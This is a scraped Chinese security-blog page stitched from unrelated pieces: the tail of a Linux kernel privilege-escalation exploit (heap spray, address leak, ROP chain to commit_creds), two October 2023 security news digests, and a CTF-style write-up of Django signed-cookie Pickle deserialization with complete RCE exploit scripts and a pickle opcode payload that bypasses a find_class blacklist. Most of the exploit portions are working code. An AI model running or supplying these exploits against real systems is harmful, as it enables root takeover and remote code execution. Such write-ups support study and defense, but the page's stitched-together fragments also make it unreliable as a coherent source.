(write(3, "a", 1) != 1 || write(4, "a", 1) != 1) { close(3); close(4); success = 0; } else break; } } int main() { pthread_t thread_id1, thread_id2; int spray[200]; save_user_land(); if (pthread_create(&thread_id1, NULL, thread_function, NULL) != 0) { fprintf(stderr, "thread error\n"); return 1; } if (pthread_create(&thread_id2, NULL, thread_function, NULL) != 0) { fprintf(stderr, "thread error\n"); return 1; } pthread_join(thread_id1, NULL); pthread_join(thread_id2, NULL); char temp[0x20]= {}; write(3, "abcdefg", 7); read(4, temp, 7); printf("temp:%s\n", temp); if (strcmp(temp, "abcdefg")) { puts("failure\n"); exit(-1); } if (!strcmp(temp,"abcdefg")) { printf("sucess\n"); close(4); for (int i = 0; i < 50; i++) { spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); if (spray[i] == -1) { printf("error!\n"); exit(-1); } } char buf[0x400]; read(3, buf, 0x400); unsigned long *p = (unsigned long *)&buf; for (unsigned int i = 0; i < 0x80; i++) printf("[%x]:addr:0x%lx\n",i,p[i]); unsigned long kernel_address = p[3]; unsigned long heap_address = p[7]; if ((kernel_address >> 32) != 0xffffffff) { printf("leak error!\n"); exit(-1); } else printf("leak sucess\n"); unsigned long kernel_base = kernel_address - 0xc3afe0; unsigned long g_buf = heap_address - 0x38; printf("kernel_base:0x%lx\ng_buf:0x%lx\n", kernel_base, g_buf); //getchar(); *(unsigned long *)&buf[0x18] = g_buf; p[0xc] = push_rdx_pop_rsp + kernel_base; //for (unsigned long i = 0xd; i < 0x80; i++) // p[i] = g_buf + i; int index = 0x21; p[index++] = pop_rdi_ret + kernel_base; p[index++] = 0; p[index++] = prepare_kernel_cred + kernel_base; p[index++] = pop_rcx_5 + kernel_base; p[index++] = 0; p[index++] = 0; p[index++] = 0; p[index++] = 0; p[index++] = 0; p[index++] = mov_rdi_rax + kernel_base; p[index++] = commit_creds + kernel_base; p[index++] = swapgs_restore + kernel_base + 22; p[index++] = 0; p[index++] = 0; p[index++] = (unsigned long)backdoor;   p[index++] = user_cs;   p[index++] = user_rflags;   p[index++] = user_sp;   p[index++] = user_ss; write(3, buf, 0x400); ioctl(4, 0, g_buf + 0x100); } return 0; } CPU Affinity(CPU 亲和性) 这里作者用了CPU Affinity提高了条件竞争的成功率,在如今多核的处理器下,我们可以将不同的线程绑定在不同的核上,使得线程进程不会进行来回切换的操作,提高执行效率。那么对应在这道题上,我们可以把线程1绑定在CPU 0上运行,线程2绑定在CPU 1上,那么使得线程1与线程2可以并行运行,那么触发漏洞的可能性会大大提升。 首先初始化CPU集合,然后将绑定到指定的核上,然后在线程内部通过sched_setaffinity 函数设置CPU 亲和性。 #define _GNU_SOURCE #include <sched.h> ... cpu_set_t t1_cpu, t2_cpu; CPU_ZERO(&t1_cpu); CPU_ZERO(&t2_cpu); CPU_SET(0, &t1_cpu); CPU_SET(1, &t2_cpu); ... if (pthread_create(&thread_id1, NULL, thread_function, (void *)&t1_cpu) != 0) { fprintf(stderr, "thread error\n"); return 1; } if (pthread_create(&thread_id2, NULL, thread_function, (void *)&t2_cpu) != 0) { fprintf(stderr, "thread error\n"); return 1; }     void *thread_function(void *arg) { cpu_set_t *cpu_set = (cpu_set_t  *)arg; int result = sched_setaffinity(gettid(), sizeof(cpu_set_t), cpu_set);   ... }
网络安全日报 2023年10月23日
1、Complaint Stealer针对加密货币钱包和酒店业 https://cofense.com/blog/new-complaint-stealer-malware-escalates/ 近日,一系列传播新型恶意软件“Complaint Stealer”的网络钓鱼活动开始升级。这种恶意软件是一种信息窃取器,可以盗取用户的加密货币钱包和程序,以及浏览器中存储的凭据。Complaint Stealer还对显卡和其他与加密货币挖矿相关的信息表现出异常的兴趣,因此加密货币挖矿可能是其后续功能。Complaint Stealer还经常利用一些合法的软件,如AutoIT或PKWARE。目前发现的所有样本都使用相同的C2位置。这次活动使用了社会工程学技巧,类似 2、警方查封Ragnar Locker勒索软件的暗网勒索站点 https://www.bleepingcomputer.com/news/security/ragnar-locker-ransomwares-dark-web-extortion-sites-seized-by-police/ Ragnar Locker是一种针对Windows和Linux的勒索软件,它可以从受感染的机器中窃取信息,使用Salsa20加密算法加密文件,并要求受害者支付赎金以恢复数据。Ragnar Locker团伙以使用双重勒索的策略而闻名,即如果受害者拒绝支付赎金,他们的数据就会被公开到暗网上。据报道,一组国际执法机构已经查封了Ragnar Locker团伙使用的暗网门户 3、Crambus针对中东政府发起新一轮攻击 https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/crambus-middle-east-government Crambus是一个伊朗的间谍组织,长期针对多个国家的目标进行情报收集和监视活动。最近,该组织在2023年2月至9月期间,对中东某国政府进行了为期八个月的入侵。在入侵过程中,攻击者窃取了文件和密码,并在一台计算机上安装了一个PowerShell后门(被称为PowerExchange),用于监视Exchange服务器上的收件箱,执行攻击者通过邮件发送的命令,并将结果偷偷转发给攻击者。研究人 4、恶意广告商使用Google广告来定位搜索流行软件的用户 https://www.malwarebytes.com/blog/threat-intelligence/2023/10/the-forgotten-malvertising-campaign 恶意广告活动是指利用合法的广告平台或网络来传播恶意软件或勒索软件的一种网络攻击方式。近几周,安全研究人员发现,通过谷歌搜索引擎的恶意广告活动有所增加,一些威胁行为者改进了他们的技术,以逃避整个交付链中的检测。研究人员介绍了一个似乎完全被忽视的恶意广告活动,它在用户指纹识别和分发时间敏感的有效载荷方面具有独特性。该活动针对Notepad++等流行的Windows文本编辑器或类似的软件程序,如PDF转换 5、思科IOS XE软件中的零日漏洞被利用,植入恶意Lua后门 https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z 思科在周五发布了一份更新的通告,警告其IOS XE软件中存在一个新的零日漏洞,该漏洞已被一个未知的威胁行为者利用,向易受攻击的设备植入了一个恶意的Lua后门。该漏洞被追踪为CVE-2023-20273(CVSS评分:7.2),与Web UI功能中的一个提权漏洞有关,据说已与CVE-2023-20198一起作为一个利用链被使用。思科表示,攻击者首先利用CVE-202 6、Okta支持系统被盗用凭证入侵,部分客户数据泄露 https://sec.okta.com/harfiles Okta是一家提供身份服务的公司,拥有超过1.7万个客户和5亿个用户。在周五,Okta披露了一起新的安全事件,称一个未知的威胁行为者利用了一个被盗的凭证,访问了其支持案例管理系统。该系统用于处理客户的技术问题和请求。Okta的首席安全官David Bradbury表示,“威胁行为者能够查看某些Okta客户作为最近支持案例的一部分上传的文件”。他还强调,Okta支持案例管理系统与Okta生产服务是分开的,后者没有受到影响。但是,他也警告说,客户支持系统有时会用于上传HTTP归档(HAR)文件,以复制用户或管理员的错误,以便进行故障排除 7、BlackCat勒索软件使用新策略进行隐蔽攻击 https://unit42.paloaltonetworks.com/blackcat-ransomware-releases-new-utility-munchkin/ BlackCat(也称ALPHV)勒索软件团伙最近使用了一种新的名为“Munchkin”的Linux虚拟机,来加强其攻击的隐蔽性和持久性。Munchkin是一个定制的Alpine OS Linux发行版,以ISO文件的形式提供。在入侵设备后,威胁行为者安装VirtualBox,并使用Munchkin ISO文件创建一个新的虚拟机。然后,在虚拟机中执行恶意代码,对受害者的系统进行加密和破坏。BlackCat勒索软件最初于2 8、SolarWinds ARM产品存在三个严重远程代码执行漏洞 https://documentation.solarwinds.com/en/success_center/arm/content/release_notes/arm_2023-2-1_release_notes.htm SolarWinds是一家提供网络管理和监控软件的公司,其访问权限管理器(ARM)是一款用于审计和控制网络资源访问权限的解决方案。近日,该产品被发现存在三个严重的远程代码执行(RCE)漏洞,分别是CVE-2023-35182、CVE-2023-35185和CVE-2023-35187。这些漏洞都是由于产品在处理不可信数据时存在反序列化漏洞而导致的,攻击者可以利用这些漏洞在 9、卡西欧披露数据泄露影响了149个国家的客户 https://world.casio.com/information/1018-incident/ 卡西欧是一家日本电子产品制造商,其ClassPad是一款面向教育领域的平台,提供数学、科学和编程等功能。近日,该公司透露,其ClassPad的服务器遭到黑客入侵,导致来自149个国家/地区的客户的数据被泄露。卡西欧于10月11日检测到该事件,原因是开发环境中的ClassPad数据库发生故障。有证据表明,黑客在10月12日访问了客户信息,包括姓名、电子邮件地址、密码、电话号码、学校名称等。截至10月18日,黑客获得了日本客户的91921条记录,以及其它148个国家/地区客户的35049条记录。 10、最新报告:71%的AI检测器无法检测出ChatGPT撰写的钓鱼邮件 https://www.freebuf.com/articles/paper/380801.html 近日,邮件安全公司Egress发布的《2023年网络钓鱼威胁趋势报告》对迄今为止的流行网络钓鱼趋势进行了分析。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年10月20日
1、朝鲜黑客利用TeamCity漏洞发动攻击 https://www.microsoft.com/en-us/security/blog/2023/10/18/multiple-north-korean-threat-actors-exploiting-the-teamcity-cve-2023-42793-vulnerability/ 据研究人员透露,被称为Diamond Sleet和Onyx Sleet的朝鲜国家级威胁行为者正在利用影响JetBrains TeamCity服务器多个版本的远程代码执行漏洞。TeamCity是一款用于构建管理和持续集成的DevOps工具,拥有超过3万名全球用户,包括耐克、法拉利、花旗银行和育碧等知名企业 2、Qubitstrike利用Jupyter Notebook挖矿和窃取云数据 https://www.cadosecurity.com/qubitstrike-an-emerging-malware-campaign-targeting-jupyter-notebooks/ Qubitstrike是一种新发现的恶意软件,它针对暴露在互联网上的Jupyter Notebook进行攻击,旨在非法挖掘加密货币和窃取云服务提供商的凭证。Jupyter Notebook是一种开源的交互式计算环境,用于数据分析、机器学习和科学研究。Qubitstrike的攻击者利用Shodan等服务搜索易受攻击的Jupyter Notebook,并通过Jupyter的终端功能执行命令,从Code 3、MATA恶意软件框架利用EDR攻击国防企业 https://securelist.com/updated-mata-attacks-industrial-companies-in-eastern-europe/110829/ 据报道,一种更新版本的MATA恶意软件框架在2022年8月至2023年5月期间发动了一系列攻击,针对东欧的石油和天然气企业以及国防行业。这些攻击利用鱼叉式钓鱼邮件诱使目标下载恶意可执行文件,利用Internet Explorer中的CVE-2021-26411漏洞启动感染链。更新的MATA框架结合了一个加载器、一个主木马和一个信息窃取器,以在目标网络中植入后门并获得持久性。这个MATA版本与之前与朝鲜黑客组织La 4、恶意广告利用Punycode冒充KeePass网站传播恶意软件 https://www.malwarebytes.com/blog/threat-intelligence/2023/10/clever-malvertising-attack-uses-punycode-to-look-like-legitimate-website 研究人员发布了一篇博客文章,揭露了一种新的恶意广告攻击,该攻击针对KeePass,这是一款开源的密码管理器。该攻击使用了一个特殊的字符编码Punycode,来注册一个与KeePass官方网站非常相似的国际化域名。这种域名在视觉上几乎无法区分,因此很容易欺骗用户。当用户在Google搜索KeePass时,会看到一个带有官方图标和 5、攻击者称手握300万条D-Link数据,D-Link称只有700条 https://www.freebuf.com/news/381158.html 位于中国台湾地区的全球网络设备和技术公司 D-Link 近期遭到一起数据泄露事件,一名攻击者在 BreachForums 平台上出售来自该公司的被盗数据。攻击者声称窃取了 300 万条个人信息以及 D-Link 的 D-View 网络管理软件的源代码,并提供了 1.2 GB 的存档。被盗数据包括许多台湾政府官员以及该公司首席执行官和员工的信息。D-link称攻击者仅窃取了大约 700 条至少已超过7年的老旧记录。且大部分由低敏感度和半公开信息组成,与其宣称的拥有300万条信息不符。 6、包含名流世家!数百万份 23andMe 基因数据资料被盗 https://www.freebuf.com/news/381144.html 一名网络攻击者在 BreachForums 黑客论坛上泄露了 410 万份被盗的 23andMe 基因数据资料,这些数据主要来自英国和德国。网络攻击者声称被盗数据包括皇室、罗斯柴尔德家族和洛克菲勒家族的基因信息。 7、国家支持的 APT 正在利用 WinRAR 漏洞(CVE-2023-38831) https://www.freebuf.com/news/381150.html 一些由政府支持的 APT 正在利用 CVE-2023-38831漏洞,这是 WinRAR 中的一个文件扩展名欺骗漏洞。自 2023 年 4 月以来,该漏洞一直被网络犯罪分子作为零日漏洞加以利用,现在也被国家支持的黑客组织所利用。谷歌 TAG 分析师指出:对 WinRAR 漏洞的广泛利用也表明,尽管已经有了补丁,但对已知漏洞的利用依旧活跃且有效。 8、亚马逊添加密钥支持作为新的无密码登录选项 https://www.bleepingcomputer.com/news/security/amazon-adds-passkey-support-as-new-passwordless-login-option/ 亚马逊悄悄地为客户添加了密钥支持,作为新的无密码登录选项,提供更好的保护,防止信息窃取恶意软件和网络钓鱼攻击。 9、因未修补的IOS XE漏洞遭攻击的思科设备数量已达到约 40,000 台 https://www.securityweek.com/number-of-cisco-devices-hacked-via-unpatched-vulnerability-increases-to-40000/ 据多家网络安全公司称,利用未修补的 IOS XE 漏洞遭到黑客攻击的思科设备数量已达到约 40,000 台。 所利用的漏洞是 CVE-2023-20198,这是一个影响 IOS XE Web 界面的严重缺陷,未经身份验证的远程攻击者可以利用该漏洞进行权限升级。 思科尚未发布补丁,该公司警告称,该漏洞至少从 9 月中旬起就已被作为零日漏洞利用。 10、lackCat Group 采用新策略规避安全检测 https://cyware.com/news/blackcat-group-adopts-a-new-tactic-to-circumvent-security-solutions-8257dfd9 BlackCat 组织再次在其武器库中添加了一个新工具,以逃避不同供应商提供的安全解决方案的检测。攻击者创建了一个名为 Munchkin 的新实用程序,允许他们在远程计算机上运行勒索软件负载,或加密远程服务器消息块 (SMB)/通用 Internet 文件共享 (CIFS)。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
由Django-Session配置引发的反序列化安全问题
漏洞成因 漏洞成因位于目标配置文件settings.py下 关于这两个配置项 SESSION_ENGINE: 在Django中,SESSION_ENGINE 是一个设置项,用于指定用于存储和处理会话(session)数据的引擎。 SESSION_ENGINE 设置项允许您选择不同的后端引擎来存储会话数据,例如: 数据库后端 (django.contrib.sessions.backends.db):会话数据存储在数据库表中。这是Django的默认会话引擎。 缓存后端 (django.contrib.sessions.backends.cache):会话数据存储在缓存中,例如Memcached或Redis。这种方式适用于需要快速读写和处理大量会话数据的情况。 文件系统后端 (django.contrib.sessions.backends.file):会话数据存储在服务器的文件系统中。这种方式适用于小型应用,不需要高级别的安全性和性能。 签名Cookie后端 (django.contrib.sessions.backends.signed_cookies):会话数据以签名的方式存储在用户的Cookie中。这种方式适用于小型会话数据,可以提供一定程度的安全性。 缓存数据库后端 (django.contrib.sessions.backends.cached_db):会话数据存储在缓存中,并且在需要时备份到数据库。这种方式结合了缓存和持久性存储的优势。 SESSION_SERIALIZER: SESSION_SERIALIZER 是Django设置中的一个选项,用于指定Django如何对会话(session)数据进行序列化和反序列化。会话是一种在Web应用程序中用于存储用户状态信息的机制,例如用户登录状态、购物车内容、用户首选项等。 通过配置SESSION_SERIALIZER,您可以指定Django使用哪种数据序列化格式来处理会话数据。Django支持多种不同的序列化格式,包括以下常用的选项: 'django.contrib.sessions.serializers.JSONSerializer':使用JSON格式来序列化和反序列化会话数据。JSON是一种通用的文本格式,具有良好的可读性和跨平台兼容性。 'django.contrib.sessions.serializers.PickleSerializer':使用Python标准库中的pickle模块来序列化和反序列化会话数据。 那么上述配置项的意思就是使用cookie来存储session的签名,然后使用pickle在c/s两端进行序列化和反序列化。 紧接着看看Django中的/core/signing模块:(Django==2.2.5) 主要看看函数参数即可 key:验签中的密钥 serializer:指定序列化和反序列化类 def dumps(obj, key=None, salt='django.core.signing', serializer=JSONSerializer, compress=False):    """   Return URL-safe, hmac/SHA1 signed base64 compressed JSON string. If key is   None, use settings.SECRET_KEY instead.   If compress is True (not the default), check if compressing using zlib can   save some space. Prepend a '.' to signify compression. This is included   in the signature, to protect against zip bombs.   Salt can be used to namespace the hash, so that a signed string is   only valid for a given namespace. Leaving this at the default   value or re-using a salt value across different parts of your   application without good cause is a security risk.   The serializer is expected to return a bytestring.   """    data = serializer().dumps(obj) # 使用选定的类进行序列化    # Flag for if it's been compressed or not    is_compressed = False    # 数据压缩处理    if compress:        # Avoid zlib dependency unless compress is being used        compressed = zlib.compress(data)        if len(compressed) < (len(data) - 1):            data = compressed            is_compressed = True    base64d = b64_encode(data).decode() # base64编码 decode转化成字符串    if is_compressed:        base64d = '.' + base64d    return TimestampSigner(key, salt=salt).sign(base64d) # 返回一个签名值 # loads的过程为dumps的逆过程 def loads(s, key=None, salt='django.core.signing', serializer=JSONSerializer, max_age=None):    """   Reverse of dumps(), raise BadSignature if signature fails.   The serializer is expected to accept a bytestring.   """    # TimestampSigner.unsign() returns str but base64 and zlib compression    # operate on bytes.    base64d = TimestampSigner(key, salt=salt).unsign(s, max_age=max_age).encode()    decompress = base64d[:1] == b'.'    if decompress:        # It's compressed; uncompress it first        base64d = base64d[1:]    data = b64_decode(base64d)    if decompress:        data = zlib.decompress(data)    return serializer().loads(data) 看看两个签名的类: 在Signer类中中: class Signer:    def __init__(self, key=None, sep=':', salt=None):        # Use of native strings in all versions of Python        self.key = key or settings.SECRET_KEY # key默认为settings中的配置项        self.sep = sep        if _SEP_UNSAFE.match(self.sep):            raise ValueError(                'Unsafe Signer separator: %r (cannot be empty or consist of '                'only A-z0-9-_=)' % sep,           )        self.salt = salt or '%s.%s' % (self.__class__.__module__, self.__class__.__name__)    def signature(self, value):        # 利用salt、value、key做一次签名        return base64_hmac(self.salt + 'signer', value, self.key)    def sign(self, value):        return '%s%s%s' % (value, self.sep, self.signature(value))    def unsign(self, signed_value):        if self.sep not in signed_value:            raise BadSignature('No "%s" found in value' % self.sep)        value, sig = signed_value.rsplit(self.sep, 1)        if constant_time_compare(sig, self.signature(value)):            return value        raise BadSignature('Signature "%s" does not match' % sig) 还有一个是时间戳的验签部分 class TimestampSigner(Signer):    def timestamp(self):        return baseconv.base62.encode(int(time.time()))    def sign(self, value):        value = '%s%s%s' % (value, self.sep, self.timestamp())        return super().sign(value)    def unsign(self, value, max_age=None):        """       Retrieve original value and check it wasn't signed more       than max_age seconds ago.       """        result = super().unsign(value)        value, timestamp = result.rsplit(self.sep, 1)        timestamp = baseconv.base62.decode(timestamp)        if max_age is not None:            if isinstance(max_age, datetime.timedelta):                max_age = max_age.total_seconds()            # Check timestamp is not older than max_age            age = time.time() - timestamp            if age > max_age:                raise SignatureExpired(                    'Signature age %s > %s seconds' % (age, max_age))        return value 时间戳主要是为了判断session是否过期,因为设置了一个max_age字段,做了差值进行比较 漏洞调试 我直接以ez_py的题目环境为漏洞调试环境(Django==2.2.5) 老惯例,先看栈帧 django/contrib/auth/middleware.py为处理Django框架中的身份验证和授权的中间件类,协助处理了HTTP请求 AuthenticationMiddleware中调用了get_user用于获取session中的连接对象身份 随后调用Django auth模块下的get_user函数和_get_user_session_key函数 随后进行session的字典读取。由于加载session的过程为懒加载过程(lazy load),所以在读取SESSION_KEY的时候会进行_get_session函数运行,从而触发session的反序列化 loads函数中的操作 首先先进行session是否过期的检验,随后base64解码和zlib数据解压缩,提取出python字节码 最后扔入pickle进行字节码解析 漏洞利用 首先利用条件如下: 以cookie方式存储session,实现了交互。 以Pickle为反序列化类,触发__reduce__函数的执行,实现RCE EXP如下: import os import django.core.signing import requests # from Django.contrib.sessions.serializers.PickleSerializer import pickle class PickleSerializer:    """   Simple wrapper around pickle to be used in signing.dumps and   signing.loads.   """    protocol = pickle.HIGHEST_PROTOCOL    def dumps(self, obj):        return pickle.dumps(obj, self.protocol)    def loads(self, data):        return pickle.loads(data) SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn' salt = "django.contrib.sessions.backends.signed_cookies" class exp():    def __reduce__(self):        # 返回一个callable 及其参数的元组        return os.system, (('calc.exe'),) _exp = exp() cookie_opcodes = django.core.signing.dumps(_exp, key=SECRET_KEY, salt=salt, serializer=PickleSerializer) print(cookie_opcodes) resp = requests.get("http://127.0.0.1:8000/auth", cookies={"sessionid": cookie_opcodes}) Code-Breaking-Django调试 这道题是P神文章中的题目,题目源码在这:https://github.com/phith0n/code-breaking/blob/master/2018/picklecode find_class沙盒逃逸 关于find_class: 简单来说,这是python pickle建议使用的安全策略,这个函数在pickle字节码调用c(即import)时会进行校验,校验函数由自己定义 import pickle import io import builtins __all__ = ('PickleSerializer', ) class RestrictedUnpickler(pickle.Unpickler):    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}    def find_class(self, module, name):         # python字节码解析后调用了全局类或函数 import行为 就会自动调用find_class方法        # Only allow safe classes from builtins.        if module == "builtins" and name not in self.blacklist:        # 检查调用的类是否为内建类, 以及函数名是否出现在黑名单内            return getattr(builtins, name)        # Forbid everything else.        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %                                     (module, name)) class PickleSerializer():    def dumps(self, obj):        return pickle.dumps(obj)    def loads(self, data):        try:            # 校验data是否为字符串            if isinstance(data, str):                raise TypeError("Can't load pickle from unicode string")            file = io.BytesIO(data)                     # 读取data            return RestrictedUnpickler(file,encoding='ASCII', errors='strict').load()        except Exception as e:            return {} 第一是要手撕python pickle opcode绕过find_class,这个过程使用到了getattr函数,这个函数有如下用法 class Person:     def __init__(self, name):         self.name = name # 获取对象属性值 person = Person("Alice") name = getattr(person, "name") print(name) # 调用对象方法 a = getattr(builtins, "eval") a("print(1+1)") # 可以设置default值 age = getattr(person, "age", 30) print(age) builtins.getattr(builtins, "eval")("print(1+1)") 那么同理,也可以通过getattr调用eval 加载上下文:由于后端在实现时,import了一些包 (这部分包的上下文可以使用globals()函数获得) 所以可以直接导入builtins中的getattr,最终通过获取globals()中的__builtins__来获取eval等 getattr = GLOBAL('builtins', 'getattr') # GLOBAL为导入 dict = GLOBAL('builtins', 'dict') dict_get = getattr(dict, 'get') globals = GLOBAL('builtins', 'globals') builtins = globals() __builtins__ = dict_get(builtins, '__builtins__') # 获取真正的__builtins__ eval = getattr(__builtins__, 'eval') eval('__import__("os").system("calc.exe")') return 查看Django.core.signing模块,复刻sign写exp from django.core import signing import pickle import io import builtins import zlib import base64 PayloadToBeEncoded = b'cbuiltins\ngetattr\np0\n0cbuiltins\ndict\np1\n0g0\n(g1\nS\'get\'\ntRp2\n0cbuiltins\nglobals\np3\n0g3\n(tRp4\n0g2\n(g4\nS\'__builtins__\'\ntRp5\n0g0\n(g5\nS\'eval\'\ntRp6\n0g6\n(S\'__import__("os").system("calc.exe")\'\ntR.' SECURE_KEY = "p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn" salt = "django.contrib.sessions.backends.signed_cookies" def b64_encode(s):    return base64.urlsafe_b64encode(s).strip(b"=") base64d = b64_encode(PayloadToBeEncoded).decode() def exp(key, payload):    global salt    # Flag for if it's been compressed or not.    is_compressed = False    compress = False    if compress:        # Avoid zlib dependency unless compress is being used.        compressed = zlib.compress(payload)        if len(compressed) < (len(payload) - 1):            payload = compressed            is_compressed = True    base64d = b64_encode(payload).decode()    if is_compressed:        base64d = "." + base64d    session = signing.TimestampSigner(key=key, salt=salt).sign(base64d)    print(session) 然后传session即可。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页